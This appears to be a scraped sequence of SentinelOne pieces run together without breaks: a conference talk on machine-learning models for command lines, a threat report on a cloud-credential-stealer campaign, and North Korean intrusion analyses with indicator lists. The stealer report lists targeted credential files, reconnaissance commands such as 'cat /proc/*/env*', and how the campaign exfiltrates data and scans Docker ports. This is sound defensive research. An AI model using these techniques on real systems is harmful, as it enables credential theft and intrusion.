Dean Langsam: In the same manner GitHub copilot. I like,this is code that I actually use just some authentication stuff. And when I've written that I just I was just starting to use GitHub copilot and I like only the gray parts or the parts that I've actually typed in and GitHub copilot did the rest for me. You can see that even you have the function that like I made a typo, I called it anonymized password and like it understood that I mean to anonymize the password.
Dean Langsam: Okay, so what's common to all those models? All those models understand language. They share language. Common language features between users or between applications. And part of the learning process is unsupervised, a term that we'll speak about later. The question is, can we do the same for the language of command lines? And the answer is yes, but well, no. So currently you're thinking like, what am I doing here? I came to a cybersecurity conference and we're here to talk about deep learning. Gal and I are not, firstly, cybersecurity people. We are coming from the field of machine learning and deep learning, and we try to get a free trip to Phoenix. So we managed to.
Dean Langsam: We're going to talk about the problems we had with command lines before then. What changed that made this one possible. Then about our package Quiver, which as you've seen, the acronym came first. And eventually we'll show the big show of what we've got. This is Gal.
Gal Braun: So I'm. Gal. Staff data scientist in SentinelOne for the last six years. A father of two. And Breaking Bad is the best show ever.
Dean Langsam: And we are mostly the same person. I'm Dean. I'm a Staff data scientist in SentinelOne for three years, actually. Gal got me into the company. I'm a father of one, and Breaking Bad is the best show ever. Except maybe The Wire.
Dean Langsam: So because we're not in a deep learning conference, let's do like a few minute intro to machine learning and deep learning. What you see here are cats and dogs, and those are called samples. We want to create an algorithm that can distinguish between cats and dogs.
Dean Langsam: One way they try to do this before is like with algorithms that people are trying to generate. Maybe if it has like the ears are, the ears are that way and the tail is that way, maybe it's a cat, maybe it's a dog. And it was a very hard problem. Even a person couldn't tell you like, why the why am I seeing a cat or a dog in this picture? I just like when you know, you know.
Dean Langsam: So we try to make this in deep learning. We just show the the computer, the algorithm, many examples of cats and dogs. This is called tagging or labeling. And you can go into Google and just type like give me pictures of dogs. Those would be the green ones and then give me pictures of cats. Those will be the red ones. And then you show the algorithm enough samples and it will create an algorithm using what we call training.
Dean Langsam: Then when you give it a new sample, the gray one, you, you, you don't tell the algorithm which one it is, which one it is, and you put it in the algorithm and the algorithm spits out, well, this is a cat in the same fashion. It says, This is a dog. Now, that was a pretty easy problem because you could search that on Google, like, give me cats, give me dogs. Enough people tagged cats and dogs in the history of time.
Dean Langsam: Um, but as my friend John Naisbitt, I know he's not actually my friend, but he's a very famous person. He told "We are drowning in information, but we are starved for knowledge". Like all of us have a lot of stuff, like pictures of things, command lines, language, many things. So what we have, we have many command lines in SentinelOne. The thing we don't have is tag data or label data. The people that can actually do tagging for label data like saying is this command line bad or good or bad? The green ones are good. The red ones are bad. Most of the people that can actually label the data for us are in the in this room.
Dean Langsam: So I could ask you guys, instead of listening to the talk, give me ten minutes of your time and start tagging data for me. But that is very manual process and that would not scale up.
Dean Langsam: So what changed? Well, in the old time, meet Mimi. Mimi Katz. She's. She's Jewish like us. And she has a task. Separate, like she gets many papers and we tell her separate those papers between, like, stuff about cyber security and stuff about machine learning. Even if she doesn't know, like, the two concepts, maybe she can try to distinguish between the two. The problem is that the papers are in Hebrew and she doesn't know Hebrew, so she could maybe try and do so. If you give her like thousands of examples, maybe she can try and understand the hieroglyphs of Hebrew and try to understand which hieroglyphs are machine learning and which hieroglyphs are cybersecurity. But that that would again not scale up.
So instead we can introduce a baby. This is a Wonak or Wonak Cry. Won also doesn't speak Hebrew. He doesn't speak any language. He's a baby. But what what he does have is time because he's a baby and people are speaking Hebrew and English next to him all the time. Where does it meet us? Well, this is the old way.
Dean Langsam: We used to do things like the first one is task one. Give the student a task to distinguish between two things, then give another student its task to distinguish between two other things. A baby can do something else. We can try and give it books like first, understand language, understand what's Hebrew, understand the relationships between words. Just understand the language. Then when you give them tasks, we can give them a lot less data to learn on the tasks instead of like giving it like the whole history of data for each different task. And you're probably starting to understand where we're going with this.
Dean Langsam: This is again a Quiver and what quiver understands it can do is that Quiver is the baby. We have again in SentinelOne. We don't have a lot of labeled data about command lines, but we have a lot of command lines. So we can just ask Quiver, well, start reading those command lines and start to understand the language of command lines. Of course, this is not as very simple. We have many command line languages and stuff like that, but basically you can just tell it like start reading command lines.
Dean Langsam: Um, the way we do this is by, I think we call the masked language model. And basically we give it like a sentence and then we hide one of the words or a few of the words and then we can try it like tell it based on that sentence with the hidden word, try to predict that word. That's the way the model learns. This is how we create like, we virtually create labeled data for the task of learning the language.
Dean Langsam: Ah, now, now, when we learn the language, we can deploy it into different tasks such as like, classify, classify between different executables. We can do anomaly detection. We can of course try to do distinguish between malicious and benign command lines and so on and so forth.
Dean Langsam: That's, of course, like we have a saying in the data community that given infinite time and infinite data, the model, will learn everything, but unfortunately we don't have infinite time or data. So we try to help our models. In our specific case, we try to take the command line wisdom and deploy some regex rules on it. So you can see that we are trying to mask different directory paths. We try, we, we, we can understand when we are seeing a local IP or a public IP, we can see when we have base64 strings and all those kinds of rules that we've created to help our model.
Gal Braun: So given that we have this data set of command lines that we pre-processed and we want to feed it to the model, and now eventually, as we mentioned before, the model receives numbers, it needs somehow to translate these strings into vector of numbers that it can can process. So the building blocks of language, which is in our domain called tokens. Let's see how we can extract them.
Gal Braun: So there are several approaches and the main one will be to dissect these strings into words by using several separators like slashes or whitespaces, which is great if you want to keep the high level entities. For example, argument names, you see that the argument name is still intact, but it makes our lives a little bit difficult when we want when we tackle new strings. For example, if we see a new command line with a new argument name, we need to handle it somehow because we don't see it in our vocabulary.
Gal Braun: So a different approach will be. Just to split the whole command line into single characters and single chunks, which is the minimum amount which from one. So it mitigates the issue of unknown data that we we tackle. But it, it, it makes it more difficult to understand the higher level entities. And it will take the model a lot, a lot more time to learn.
Gal Braun: So there is the middle ground, some cool concept that was popped up several years ago which called Subwords. And I won't get in too much into details how it's happening, but it allows us to dissect the text into generic blocks.
Gal Braun: You can see that these hashtags double hashtags in some of the tokens, which mean it's an end of a word or a start of a word. And it's it's it gives us the, the, the, um, the good parts of both worlds.
Gal Braun: So what we good output are some things we can can extract with these models is feeding them text for example, like a single token or a whole command line. And we can extract some vector of numbers that we can use for different tasks. And actually, as mentioned before, we are taking this command lines feed it to a model which learn the general way semantics about the command lines and then fine tune it to specific tasks. And during this learning phase it's optimizing some – it's called weights, some numbers inside of this model which will be different for each kind of the tasks so we can extract command lines, representations based on specific tasks that we are interested in.
Gal Braun: Okay. This was an intro about the core concepts of this model and how it works. And let's see some examples of the output of the results that we got. So here's a nice blob. And we took millions of command lines and fed it to some model and let it just learn the semantics of command lines. Each one of these dots that you see here is a single token from the text that that the model extracted.
Gal Braun: Now we can take a take a look inside of these tokens and see if it understands some semantics about the command lines. Each each one of the dots is a vector and this is a two dimensionality reduction of the results. So for example, here you can see a minus no profile token, which is a known PowerShell argument. On the left side, you can see it's a zoom in to the specific space location of minus, no profile inside of these tokens representations. And as you can see on the right, you can see that no profile and a token and the green ones are the ones that was mathematically the closest one to it. And on the right and the small table is the five, the most the five most closest tokens to the specific token.
Gal Braun: As you can see, the top three, which was the closest ones, are different PowerShell arguments or syntax, which is awesome because it really understands something about tokens from PowerShell, PowerShell command lines and the bottom two is not related straight straight to PowerShell, but it's a different arguments. For example, the second from the bottom is a Java argument which again symbolizes that it learns something about arguments to executables, which is nice.
Gal Braun: A second example regarding that is a different token, which is double hashtag dot VBS quotes, which means the end of a file path inside of an argument value. And as you can see in a similar way, you can see that the top three ones are different VBS tokens, but the rest of them are in the exactly in the same patterns but with different file extensions.
Gal Braun: So it's dot js, dot bat, PL, JAR and so on. And it really understand that these patterns, these tokens are related inside the same space and give it similar vector numbers and which eventually led us to the conclusion, okay, we have something, it's not totally random and, and we can try and take this model and fine tune it to some task that we want.
Gal Braun: So, so the most obvious thing that we can think about was trying to teach the model, whether a specific command line is malicious or benign. And what we did is, okay, so we have this baseline language model that learned the general semantics, but we want to fine tune it to this specific task. So firstly, we need some labels. Sentinelone got an MDR service which called Vigilance, which basically going through different cases, different threats that's happening in our customers computers and decide if a specific case is malicious or benign. And we use these cases to try and decide and extract some command lines that we know it would be malicious and vice versa.
Gal Braun: So here you can see PowerShell command line from a specific malicious threat that was happening and the model actually signed it as malicious, which is cool. But these kind of models let you extract something even more, even more fruitful. You can. Try and extract for each one of the tokens how much it supported to the to the decision if a command line was malicious or benign.
Gal Braun: So, for example, you can see here the different parts, that led the model to to decide this classification. So for example, here you can see the invoke web request inside of this PowerShell and some parts of the URL cause it to think this command line is malicious.
Gal Braun: In a similar way here. Another two examples. The the middle one is another PowerShell malicious command line that the model decide what it was. It was malicious and you can see on the areas it focusing like for example, the non interactive token or there's like a it's a little bit faded but the sleep function in the end of of the PowerShell command line which it learned from the data that we fed it, what is malicious and might cause it to be a malicious command line.
Gal Braun: And the third third example is a benign, entirely benign command line. It's just a win word exe executable that gave in some file path. And the model think it's very, very sorry, I didn't explain that the red parts are saying it's more malicious and the green ones led it to think it's more benign. And you see that the the the fact that the win word is the name of the executable and some string parts in the file name cause it to think it's it's a benign command line.
Gal Braun: And so what can we do with this this model besides just predicting on a single command line? So firstly, we can just take this model and even if it's not 100% accurate and take it and just throw every command line from a customer environment through this model so it might have mistakes, but it can help us as hunters, for example, find our blind spots, reduce this, this all the areas that we might miss because there's a bunch of threats, a lot, a lot of information just going through our customers and environments.
Gal Braun: And we have to focus somehow. So this tool can help hunters to focus on the areas that they might missing. And from other aspect, this kind of explanations to understand what causes these command lines to be more malicious or more benign can help us understand our customers information and make conclusions. And even, for example, we can try and let's write a YARA rule that specific fits for these kind of patterns that we see in on malicious command lines or, for example, command lines that the model usually think it's more malicious.
Gal Braun: So this was one example. And the second one that we wanted to talk about was executable classification. And what we did is take our millions of command lines and split them by arguments and executable. And we fine tune the model to try and given a set of arguments to tell me which executable is it.
Gal Braun: So another piece of art on the right side. You can see each one of these dots is another reduction to the dimensions of an argument, a set of arguments. And the color is the is the executable. And as you can see, this representation is is is excellent, is actually is very, very good. And most of the clusters are very uniform, which means it actually learns something about which arguments are relevant to which executable. And there are even more interestingly, there are clusters that are not unified which make us think, what are these clusters and what are these interesting command lines that look like different executables.
Gal Braun: So here is just to have some a little bit more practical examples. You can see some of the clusters like main executable, like CMD or VPC, and actually a cool byproduct you can see at the top like three browsers, different browsers that arose in different clusters but was around the same area in these n-dimensional space. And but you can try and extract some cool information from these clusters, for example, some intent here, for example, a cluster that was based from mostly communication executables, or here you can see a cluster that most of the arguments inside was like Java arguments and one cmd. And if you print this cmd command line, it was actually execution of a Java, which is it actually makes sense. But this tool can be used to try and tag and understand the intent of specific command line without even looking at it. You can try and use this model to try and see a new command line that fell inside of one of these cluster to try and predict, okay, this cmd.exe, it did something that we know is maybe executing Java.
Gal Braun: And and the last example here is you can see this big giant cluster is full of different PDF readers. And on the bottom you can see two example of CMD and MSEDGE that also opened PDF files and which again we can understand that these clusters, these representations in this cluster and we can tag it with some nice intent and try and predict for a specific command line.
Gal Braun: So I'm sure that there is at least one person in this audience that think, do this stuff, can do, can solve this thing with regex, sit and try and, and write sophisticated patterns. But the awesome part of this model is just feed them a bunch load of data. You don't need to really fine tune it specifically for the task that you want. And as we mentioned, I think it was like the first day. More and more there are more and more attack vectors for third parties executables and this thing, if you like, keep feeding it more and more data, it will understand better the semantics of command line and easily can be fine tuned to the task that we want. And if the results would won't be good, we still have a saved spot in art school. And. And that's it. Thank you. Any questions?
Speaker3: Yeah. Have you found any, like, openly available databases, systems with tons and tons of points relevant to this community that we could use for our own? Play on Machine learning and.
Gal Braun: Do you mean? Like given these representations that were created, whether we found something that we can publish to the community and use it?
More like. Say I don't have the entire database of SentinelOne data to work against, but I do want something to put it against that threat. Researcher. Is there anything, any direction you would push me?
Dean Langsam: Yeah. So this is currently like only the research phase, but the same way you can use Dall-e two. Although you're not an artist, probably we've never met. You're not an artist, you're not a poet, but you can use GPT three and you can use Dall-e two. Once we have like a working model, it should understand even like new stuff that are in that domain. So even if you give it like a new command line, if we trained it well, if you give it a new command line, it could say like the things that we've taught it to say in that way, if it if we prove it successful and actually good, then yeah, of course we can can do it.
Dean Langsam: And one of the things that is fairly new in our world is that like Dall-e two is one specific implementation of a bigger academic paper that's called clip. And basically the thing that the most special thing that Dall-e two had is the data itself. But it gives you the data. Now if you say I have more data, I can start from that model. The model itself is open, open source. You can start from that model and train it on your own. I probably take you a lot of time. You need many GPUs, but like it's available to you. It's just a question of like time and money and not. Um, like a proprietary stuff and stuff like that. Yeah. So.
Gal Braun: So it depends. It depends what you exactly want to achieve. Because overfitting it sounds like it's the worst nightmare for every data scientist, but it might be good for you if you specific want to find an abnormal activity in a specific customer. If you want the model to be fine tuned for a specific customer and extract information. It depends on the applications. And but yes, exactly.
I think one of the reasons we thought about, for example, normalizing paths or local IPS or base64, it was to ease the training. But also let's don't not fine tune into a specific IP or specific directory names so the road is still long before you get to something very mature that we can like publish publicly. But um, but yes, it's something that needs to be thought about and, and beyond that, like PII, for example, let's not give some attacker a option to my IP is something and it will complete it to some DNS server or whatever, something that's important to the customer. And. But yeah. Things to think about. Yeah.
Dean Langsam: Uh, we're not product people. So once we show it to like the PMs, if they like it, like, as has shown, the part with the green and red parts is very cool to us. We'll customers find it useful. That's not on us, I think. I think it will be cool to show it, but again, the PMs will decide.
Gal Braun is a data scientist at SentinelOne, working on Data Science & Machine learning focused on explainability, representation learning, and visualizations.
Dean Langsam is a data scientist at SentinelOne, working on the intersection of data science, machine learning, deep learning, language models, Python scientific programming, data visualizations, and Bayesian modeling.
About LABScon
This presentation was featured live at LABScon 2022, an immersive 3-day conference bringing together the world’s top cybersecurity minds, hosted by SentinelOne’s research arm, SentinelLabs.
By Alex Delamotte, with Ian Ahl (Permiso) and Daniel Bohannon (Permiso)
Executive Summary
Throughout June 2023, an actor behind a cloud credentials stealing campaign has expanded their tooling to target Azure and Google Cloud Platform (GCP) services. Previously, this actor focused exclusively on Amazon Web Services (AWS) credentials.
Cloud service credentials are increasingly targeted as actors find more ways to profit from compromising such services. This actor targeted exposed Docker instances to deploy a worm-like propagation module.
These campaigns share similarity with tools attributed to the notorious TeamTNT cryptojacking crew. However, attribution remains challenging with script-based tools, as anyone can adapt the code for their own use.
Background
In December 2022, the threat research team at Permiso Security reported about a cloud credential stealer campaign that primarily targeted Amazon Web Services (AWS) credentials from public-facing Jupyter Notebooks services. The actors likely accessed these impacted services through unpatched web application vulnerabilities.
From June 14, 2023 through the end of the month, we worked with the Permiso team to track and analyze files related to a new incarnation of this campaign targeting exposed Docker services. The hallmark shell scripts remain the core of these campaigns, though we also identified an Executable and Linkable Format (ELF) binary written in Golang. The research team at Aqua also recently reported elements they observed from these actors’ abuse of Docker images.
SentinelLabs thanks the Permiso Security research team for their collaboration on the research in this report. The Permiso team released a blog about this campaign, which can be found here.
Tooling Updates
Since the December campaign, the actor has made several updates to how their tooling works.
Script Functionality
The December campaign targeted AWS credentials; the most recent campaigns added functions that target credentials from Azure and GCP. The actor actively modified these features as the campaigns evolved throughout June: Initially, a script aws.sh contained references to Azure credentials, but the relevant function was not called. A week later, samples emerged where the Azure credential functions were called.
The actor stored the generic credentials in an array labeled CRED_FILE_NAMES. The AWS-specific array from the original script ACF has been replaced with AWS_CREDS_FILES. We dive into this in more detail in the next section. There are also two new cloud service provider (CSP)-specific credentials variables: GCLOUD_CREDS_FILES and AZURE_CREDS_FILES.
The actor made the script more modular as it grew larger and more complex. The AWS functionality is now split into three smaller functions that are driven by the run_aws_grabber function only if the system is identified as AWS. This increases the efficiency of the script by running AWS commands only on AWS systems, which also enhances the script’s stealth.
Infrastructure
The actor no longer hosts files in an open directory, which complicates efforts to track and analyze these campaigns. Instead, C2 activity relies on a hardcoded username and password combination that are passed as arguments to the curl command.
The older campaign infrastructure was hosted on a Netherlands-based IP associated with Nice IT Services. The attacker has since moved infrastructure to AnonDns, a dynamic domain name service (DDNS) provider. The campaigns through June 2023 use one of several AnonDNS subdomains:
The newer versions target credentials in newly added arrays GCLOUD_CREDS_FILES and AZURE_CREDS_FILES. The versions emerging the week of 6/26/2023 added .env and docker-compose.yaml; the version from 6/15/2023 has env without the period, so the actor is apparently updating the tool to be more effective in the newest campaign. The newest campaign also has a new variable, MIXED_CREDFILES which contains only redis.conf.
The newer versions omitted the following credentials files that were present in the December campaign’s ACF:
cloud
.npmrc
credentials.gpg
The credentials collection logic in the new campaign’s samples targets the following services & technologies:
There is considerable overlap in the targeted files between these credential stealer campaigns and the TeamTNT Kubelet-targeting campaign reported by Sysdig in October 2022.
Arrays containing targeted credential file names in grab.sh
The script uses the cred_files function to search for credentials files on the system, write them to a temporary file $EDIS, copy the new file to a master credential-holding file $CSOF, then delete the temporary file. The $EDIS and $CSOF variable file names and paths are randomly generated via the special use Bash variable $RANDOM, meaning the value is an integer between 0 and 32767 that changes each time $RANDOM is accessed.
The cred_files function in aws.sh
AWS
The new scripts show more attention to making the features modular, a natural evolution as a script becomes more complex. The AWS-specific functionality is driven by a function named run_aws_grabber. Most AWS-centric features from the December campaign have been rolled into one of four functions driven by run_aws_grabber:
get_aws_infos: Queries the AWS instance metadata service (IMDS) for IAM configuration and sets the output to $AWS_INFO, as well as security credential configuration from EC2 and IAM resources, which are set to $AWS_1_EC2 and $AWS_1_IAM_NAME, respectively.
get_aws_meta: Writes the values from each of the variables generated in get_aws_infos then parses the data for specific values via grep and extracts them using sed, writing the output to the $CSOF variable.
get_aws_env: Checks for values in AWS credential related variables, writes them to $CSOF when present. When the $AWS_CONTAINER_CREDENTIALS_RELATIVE_URI is found, the function calls curl against the URL, then modifies the response using sed to format specific values into an aws configure set command. For example, the string AccessKeyId in the response is transformed to aws configure set aws_access_key_id. The actor likely chose to format the values as a command so that the output feeds into additional automated actions.
The get_aws_env function in aws.sh
get_awscli_data: This function is only implemented in the two most recent versions: the function exists in the 6/15/2023 version of aws.sh, but it is not called. The function invokes aws sts get-caller-identity to collect the 12-digit AWS account identifier and writes the result to $CSOF.
Azure & GCP
A notable recent addition is logic specific to the Azure and Google Cloud platforms. The get_azure and get_google functions are implemented in the newest versions seen on 06/26/2023; the logic was present in the 6/15 campaign, but the functions were not called. These changes indicate that these features are being actively developed, so we expect more changes as the actors roll out and test these features.
Newly implemented get_azure function in g.aws.sh
System Profiling
The attackers now perform system profiling through the aws.sh scripts as well as other scripts delivered under certain conditions. Another new feature is the get_docker function, which checks if the environment is a Docker container. When it is, the function runs docker inspect against each running container and saves the result to $CSOF. The output will not necessarily have credentials and this likely serves as a mechanism for system profiling.
Additionally, the new version added the function get_prov_vars, which calls cat /proc/*/env* to collect environment variable details from each running process and writes the result to $CSOF. The actor likely does this to enumerate other valuable services running on the system for manual targeting.
We also observed profiling activity from Data.sh, a post-exploitation script that collects details from the system and sends it to the attacker’s server. The script uses Bash to craft a web request to download the curl binary from the attacker’s server through the bashload function. This is notable because attacks against minimal systems–such as containers–can be limited by the absence of ubiquitous binaries like curl.
The bashload function in Data.sh
The attacker sets variables for a lockfile and datafile in /var/tmp. The result of the following reconnaissance commands is written to the datafile:
whoami
Current user
ls -al
Lists all files in the current directory
who
List of users with active terminal sessions
lastlog
Log of user login history
cat /var/spool/cron/*
Contents of configured cron jobs
ps aux
Details about all running processes
netstat -anop
Network connection and socket details
docker ps
List of Docker containers, including stopped containers
The script then sends the results collected in the datafile to the C2 using curl with a provided username and password.
Credentials Exfiltration
After collecting and processing the credentials, the credentials stealing scripts use curl to exfiltrate the contents of the $CSOF file to an AnonDNS-hosted server. The script contains hardcoded credentials that are used to authenticate the request. The June 2023 campaigns use the following username, password, and server URL combinations:
In addition to the usual shell scripts, we observed the actor delivering a UPX-packed, Golang-based ELF binary. The binary ultimately drops and executes another shell script that scans an actor-specified range and attempts to propagate to vulnerable targets. We believe the reason the actor used this binary to deliver yet another script is due to the relatively noisy nature of the scanning activity. The scanner is hidden as an embedded base64 object within the packed Golang binary, adding more stealth than a standalone shell script. Additionally, the binary drops Zgrab–a Golang network scanning tool–which depends on Golang environment variables that are set by running the parent Go binary.
The implemented code enables the binary to read a command from a string and execute it using os_exec.
The main_main function
The main_main function decodes an embedded base64 blob, resulting in a Bash script that is written and then executed by the main_runCommand function. In the embedded script, the setupsomething function downloads the following packages on systems using the Yum package manager:
Compiler and code processing: gcc make git jq
Network utilities: libpcap libpcap-devel curl
This function also downloads the following packages on systems that use the Apt package manager:
Next, setupsomething checks if masscan, docker, and zgrab are installed. If not, the script downloads the dependencies from the attacker’s server, hosted at the URI: /bin/[bin_name].
The dAPIpwn function takes the following arguments:
IP range: collected from the C2 server at /gr.php
Ports: 2375, 2376 – respectively used for Docker unencrypted and encrypted communications
Rate: 500,000 packets per second
The function passes these arguments to masscan, which scans the specified IP ranges then passes the results to zgrab, which looks for http responses from the remote endpoint /v1.16/version. The output is filtered using grep to search for lines containing the strings 'ApiVersion' or 'client version 1.16'. Aqua also detailed a step in the attack chain that looks for misconfigured Docker daemons running version 1.16. Interestingly, a Shodan search revealed only apparent honeypot systems responding with these strings on the specified ports.
When a system is deemed vulnerable, the script calls back to the C2 using curl with the vulnerable IP address and port added to the request URI.
Embedded script that scans for vulnerable Docker instances
Conclusion
This campaign demonstrates the evolution of a seasoned cloud actor with familiarity across many technologies. The meticulous attention to detail indicates the actor has clearly experienced plenty of trial and error, shown in choices like serving the curl binary to systems that do not already have it. The actor has also improved the tool’s data formatting to enable more autonomous activity, which demonstrates a certain level of maturity and skill.
While AWS has long been in the crosshairs of many cloud-focused actors, the expansion to Azure and GCP credentials indicates there are other major contenders holding valuable data.
We believe this actor is actively tuning and improving their tools. Based on the tweaks observed across the past several weeks, the actor is likely preparing for larger scale campaigns. The lack of threats explicitly targeting Azure and GCP credentials up to this point means there are likely many fresh targets. The current focus on Docker is ultimately arbitrary: this actor has previously targeted other technologies and there are many other oft-forgotten vulnerable applications.
Organizations can prepare against these attacks by ensuring that applications are configured properly and patched as security fixes become available. Docker access should be restricted to suit your organization’s needs while reducing exposure from outside connections.
Indicators of Compromise
SHA1
Description
0e1805fd9efa6a1c3fe9adb3f34373a9dcc7fe19
run.sh
18d28ac44c5501f1768f0fc155ad38aa56610881
chattr ELF binary
27414df2f9a687db65d2bc5fed011a1f0f550417
aws.sh v3
2ed9517159b89af2518cf65a93f3377dea737138
UPX-packed Golang ELF binary that drops scanner script
37cb34a044c70d1acea5a3a91580b7bfc2a8e687
ELF binary, potentially Tsunami
3d6aaed47135090326780727fef57ce1c1573aa2
tmate.sh
5611cb5676556410981eefab70d0e2aced01dbc5
aws.sh v2
6123bbca11385f9a02f888b21a59155242a96aba
user.sh
61da5d358df2e99ee174b22c4899dbbf903c76f0
aws.sh v5
63fe964140907470427e035bdba5230f6a302056
b.sh (Install script)
654be7302f4a3638929fe5e67f6f2739a1801b07
clean.sh
828960576e182ec3206f457a263f25ee0531edbb
curl.full
863bf9617f82c9c595cc9b09e84a346a306060c2
Embedded script from binary with dAPIpwn function capability
In recent news, the cloud-based IT management service JumpCloud publicly shared details gathered from the investigation into an intrusion on their network. Alongside the updated details, the organization shared a list of associated indicators of compromise (IOCs), noting attribution to an unnamed “sophisticated nation-state sponsored threat actor”.
Reviewing the newly released indicators of compromise, we associate the cluster of threat activity to a North Korean state sponsored APT. The IOCs are linked to a wide variety of activity we attribute to DPRK, overall centric to the supply chain targeting approach seen in previous campaigns.
Infrastructure Analysis
Based on the IOCs shared by JumpCloud, we were able to analyze the threat actor’s infrastructure. The following list is our starting point:
Domains
alwaysckain.com
canolagroove.com
centos-pkg.org
centos-repos.org
datadog-cloud.com
datadog-graph.com
launchruse.com
nomadpkg.com
nomadpkgs.com
primerosauxiliosperu.com
reggedrobin.com
toyourownbeat.com
zscaler-api.org
IP Addresses
51.254.24.19
185.152.67.39
70.39.103.3
66.187.75.186
104.223.86.8
100.21.104.112
23.95.182.5
78.141.223.50
116.202.251.38
89.44.9.202
192.185.5.189
162.241.248.14
179.43.151.196
45.82.250.186
162.19.3.23
144.217.92.197
23.29.115.171
167.114.188.40
91.234.199.179
By mapping out this infrastructure, it is possible to show the links between the diverse set of IP addresses and pick up various patterns.
Triggering alerts on 192.185.5[.]189 alone is ill advised, as it’s a shared hosting server for many domains and not an indicator of malicious activity by itself. However, toyourownbeat[.]com shares an SSL certificate with skylerhaupt[.]com, indicating a potential relationship in owner.
The indicator 144.217.92[.]197 shared by JumpCloud does not host any domains from the list they shared, but we can see one similar through the use of passive DNS data: npmaudit[.]com, which was also just recently shared by GitHub in an alert of their own.
Based on public details available as of this writing, it’s unclear if the GitHub alert originated from the JumpCloud incident or if they are separate efforts by the same attacker.
Infrastructure Map Noting JumpCloud links
Moving on to IP address 23.29.115[.]171, we can see through PDNS data that the domain npm-pool[.]org is related. Notably, this domain is quite similar to the NPM theme of domains shared in the GitHub alert.
Infrastructure Map Noting JumpCloud and GitHub Overlap
While the following is not a strong indicator of attribution alone, it’s noteworthy that specific patterns in how the domains are constructed and used follow a similar pattern to other DPRK linked campaigns we track. Indicators with suspected actor association, but unverified as of this writing, include junknomad[.]com and insatageram[.]com (registered with jeanettar671belden[@]protonmail[.]com).
Additional pivots of potential interest can be made through other IPs, including 167.114.188[.]40, and to a variety of low confidence attacker-associated infrastructure.
Following the profile of the associated infrastructure from both the JumpCloud intrusion and the GitHub security alert, we can expand to further associated threat activity. For example, we can see clear links to other NPM and “package” themed infrastructure we associate with high to medium confidence, as noted in the list below. This list further expands thanks to the findings and blog from Phylum in late June.
Trivial pivots from here can be made to similar behaving infrastructure linked to TraderTraitor, as noted by GitHub, plus those of AppleJeus such as Celas Trade Pro via celasllc[.]com.
Conclusion
It is evident that North Korean threat actors are continuously adapting and exploring novel methods to infiltrate targeted networks. The JumpCloud intrusion serves as a clear illustration of their inclination towards supply chain targeting, which yields a multitude of potential subsequent intrusions. The DPRK demonstrates a profound understanding of the benefits derived from meticulously selecting high-value targets as a pivot point to conduct supply chain attacks into fruitful networks.
SentinelLabs identified an intrusion into the Russian defense industrial base, specifically a missile engineering organization NPO Mashinostroyeniya.
Our findings identify two instances of North Korea related compromise of sensitive internal IT infrastructure within this same Russian DIB organization, including a specific email server, alongside use of a Windows backdoor dubbed OpenCarrot.
Our analysis attributes the email server compromise to the ScarCruft threat actor. We also identify the separate use of a Lazarus Group backdoor for compromise of their internal network.
At this time, we cannot determine the potential nature of the relationship between the two threat actors. We acknowledge a potential sharing relationship between the two DPRK-affiliated threat actors as well as the possibility that tasking deemed this target important enough to assign to multiple independent threat actors.
Background
North Korean threat actors have caught our attention over the past year, providing us with fruitful insight into a variety of campaigns, such as new reconnaissance tools, (multiple) new supply chain intrusions, elusive multi-platform targeting, and new sly social engineering tactics. To add to that list, let’s take a look at an intrusion into what might be considered a highly desirable strategic espionage mission – supporting North Korea’s contentious missile program.
The Target Organization
While conducting our usual hunting and tracking of suspected-North Korean threat actors, we identified a leaked email collection containing an implant with characteristics related to previously reported DPRK-affiliated threat actor campaigns. A thorough investigation of the email archive revealed a larger intrusion, not fully recognized at the time by the compromised organization.
The victim organization is NPO Mashinostroyeniya (JSC MIC Mashinostroyenia, NPO Mash), a leading Russian manufacturer of missiles and military spacecraft. The organization’s parent company is JSC Tactical Missiles Corporation KTRV (Russian: АО «Корпорация Тактическое Ракетное Вооружение», КТРВ). NPO Mashinostroyeniya is a sanctioned entity that possesses highly confidential intellectual property on sensitive missile technology currently in use and under development for the Russian military.
We are highly confident that the emails related to this activity originate from the victim organization. Furthermore, there are no discernible signs of manipulation or technically verifiable inaccuracies present in these emails. It’s essential to highlight that the leaked data comprises a substantial volume of emails unrelated to our current research scope. This suggests that the leak was likely accidental or resulted from activity unrelated to the specific intrusion under scrutiny in our investigation. However, this collection provides valuable background context for our understanding of their internal network design, security gaps, and even cases of activity by other attackers.
Example of unrelated email alerts from Russian CERT to NPO Mash
In mid-May 2022, roughly a week prior to Russia vetoing a U.N. resolution to impose new sanctions on North Korea for intercontinental ballistic missile launches that could deliver nuclear weapons, the victim organization internally flagged the intrusion. Internal NPO Mashinostroyeniya emails show IT staff exchanged discussions highlighting questionable communications between specific processes and unknown external infrastructure. The same day, the NPO Mashinostroyeniya staff also identified a suspicious DLL file present in different internal systems. The month following the intrusion, NPO Mashinostroyeniya engaged with their AV solution’s support staff to determine why this and other activity was not detected.
Following an examination of the emails and an in-depth investigation into the two separate sets of suspicious activity, we have successfully established a correlation between each cluster of activity and a respective threat actor amounting to a more significant network intrusion than the victim organization realized.
North Korean Overlap
During our investigation, we identified the suspicious file in question to be a version of the OpenCarrot Windows OS backdoor, previously identified by IBM XForce as part of Lazarus group activities. As a feature-rich, configurable, and versatile backdoor, the malware is a strong enabler of the group’s operations. With a wide range of supported functionality, OpenCarrot enables full compromise of infected machines, as well as the coordination of multiple infections across a local network. The OpenCarrot variant we analyzed supports proxying C2 communication through the internal network hosts and directly to the external server, which supports the strong possibility of a network-wide compromise.
Additionally, we discovered the suspicious network traffic discussed in emails is the compromise of the business’ Linux email server, hosted publicly at vpk.npomash[.]ru (185.24.244[.]11). At time of discovery, the email server was beaconing outbound to infrastructure we now attribute to the ScarCruft threat actor. ScarCruft is commonly attributed to North Korea’s state-sponsored activity, targeting high value individuals and organizations near-globally. The group is also referred to as Inky Squid, APT37, or Group123, and often showcases a variety of technical capabilities for their intrusions. While we are unable to confirm the initial access method and implant running on the email server at time of discovery, we link malware loading tools and techniques involving this set of infrastructure to those seen in previously reported ScarCruft activity using the RokRAT backdoor.
This intrusion gives rare insight into sensitive DPRK cyberespionage campaigns, and an opportunity to expand our understanding of the relationship and goals between various North Korean cyber threat actors. It also highlights a potential rift in relations between Russia and North Korea, considering their growing relationship.
This engagement establishes connections between two distinct DPRK-affiliated threat actors, suggesting the potential for shared resources, infrastructure, implants, or access to victim networks. Moreover, we acknowledge the possibility that the assigned task of an intrusion into NPO Mashinostroyeniya might have warranted targeting by multiple autonomous threat actors due to its perceived significance.
OpenCarrot Backdoor Activity
